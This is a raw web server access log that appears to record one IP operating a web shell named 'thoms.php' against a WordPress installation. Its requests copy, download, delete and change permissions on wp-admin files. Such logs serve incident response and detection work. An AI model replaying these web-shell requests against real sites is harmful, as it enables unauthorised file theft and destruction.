45.135.193.11 - - [11/Sep/2026:23:34:53 -0400] "GET /betcity.com.tw/wp-admin/theme-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:53 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Flink-manager.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Flink-manager.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:53 -0400] "GET /thoms.php?dl=options.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=options.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:53 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmenu-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmenu-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:53 -0400] "GET /betcity.com.tw/wp-admin/admin-functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:53 -0400] "GET /betcity.com.tw/wp-admin/options-media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:53 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Ffont-library.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Ffont-library.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:53 -0400] "GET /thoms.php?chmod=term.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=term.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:53 -0400] "GET /thoms.php?dl=nav-menus.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:53 -0400] "GET /betcity.com.tw/wp-admin/plugin-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:54 -0400] "GET /thoms.php?chmod=widgets-form.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:54 -0400] "GET /betcity.com.tw/wp-admin/authorize-application.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:54 -0400] "GET /thoms.php?del=js&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?del=js&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:54 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:54 -0400] "GET /betcity.com.tw/wp-admin/ms-users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:54 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-options.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-options.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:54 -0400] "GET /thoms.php?dl=admin-footer.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:54 -0400] "GET /betcity.com.tw/wp-admin/async-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:54 -0400] "GET /thoms.php?dl=load-styles.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=load-styles.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:54 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=update.php HTTP/1.1" 200 15235 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:54 -0400] "GET /betcity.com.tw/wp-admin/edit-tag-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:54 -0400] "GET /thoms.php?dl=plugin-editor.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:55 -0400] "GET /thoms.php?chmod=options-head.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=options-head.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:55 -0400] "GET /thoms.php?chmod=plugins.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=plugins.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:55 -0400] "GET /thoms.php?dl=import.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?dl=import.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:55 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcss&p= HTTP/1.1" 200 12348 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:55 -0400] "GET /thoms.php?chmod=media-upload.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:55 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fplugins.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fplugins.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:55 -0400] "GET /thoms.php?del=ms-users.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=ms-users.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:55 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fuser-new.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fuser-new.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:55 -0400] "GET /thoms.php?dl=profile.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28905 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:55 -0400] "GET /betcity.com.tw/wp-admin/custom-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:55 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&settings=1 HTTP/1.1" 200 11913 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:55 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-tag-form.php HTTP/1.1" 200 15337 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=load-scripts.php HTTP/1.1" 200 12955 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=themes.php HTTP/1.1" 200 23804 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?dl=site-health-info.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=plugin-install.php HTTP/1.1" 200 14901 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?del=upgrade-functions.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-connectors.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11438 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-connectors.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?chmod=options-general.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=options-general.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fjs&p= HTTP/1.1" 200 12339 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?dl=users.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28899 "http://163.245.207.76:443/thoms.php?dl=users.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?del=contribute.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?del=contribute.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?del=load-scripts.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?del=load-scripts.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?chmod=moderation.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=moderation.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /betcity.com.tw/wp-admin/options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:56 -0400] "GET /thoms.php?chmod=ms-sites.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:57 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-media.php HTTP/1.1" 200 14243 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:57 -0400] "GET /thoms.php?del=custom-background.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=custom-background.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:57 -0400] "GET /thoms.php?del=ms-upgrade-network.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:57 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=post-new.php HTTP/1.1" 200 13037 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:57 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fnetwork&p= HTTP/1.1" 200 12339 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:57 -0400] "GET /thoms.php?chmod=ms-edit.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:57 -0400] "GET /betcity.com.tw/wp-admin/plugins.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:57 -0400] "GET /thoms.php?dl=export-personal-data.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28904 "http://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:57 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=index.php HTTP/1.1" 200 15223 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:57 -0400] "GET /betcity.com.tw/wp-admin/edit-comments.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:58 -0400] "GET /thoms.php?chmod=edit-form-blocks.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:57 -0400] "GET /betcity.com.tw/wp-admin/my-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:58 -0400] "GET /thoms.php?chmod=edit-tags.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:58 -0400] "GET /thoms.php?dl=plugins.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?dl=plugins.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:58 -0400] "GET /thoms.php?del=erase-personal-data.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28896 "http://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:58 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcontribute.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcontribute.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:58 -0400] "GET /thoms.php?chmod=privacy.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=privacy.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:58 -0400] "GET /betcity.com.tw/wp-admin/widgets-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:58 -0400] "GET /thoms.php?del=themes.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?del=themes.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:58 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=link-parse-opml.php HTTP/1.1" 200 13047 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:58 -0400] "GET /thoms.php?del=admin-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=admin-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:58 -0400] "GET /thoms.php?del=includes&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=includes&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:59 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fnetwork.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fnetwork.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:59 -0400] "GET /betcity.com.tw/wp-admin/options-privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:59 -0400] "GET /thoms.php?del=edit-form-comment.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:59 -0400] "GET /thoms.php?chmod=update.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
